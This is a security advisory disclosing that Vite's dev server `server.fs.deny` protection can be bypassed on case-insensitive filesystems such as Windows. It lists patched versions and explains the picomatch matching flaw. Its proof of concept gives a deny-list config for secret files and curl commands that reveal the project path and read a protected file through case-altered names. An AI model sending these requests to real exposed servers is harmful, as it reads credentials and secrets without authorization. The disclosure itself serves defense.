Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected]

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup
1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
- npm run dev -- --host 0.0.0.0
- Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. custom.secret and production.pem
3. Populated vite.config.js with

export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction
1. curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who
- Users with exposed dev servers on environments with case-insensitive filesystems

What
- Files protected by server.fs.deny are both discoverable, and accessible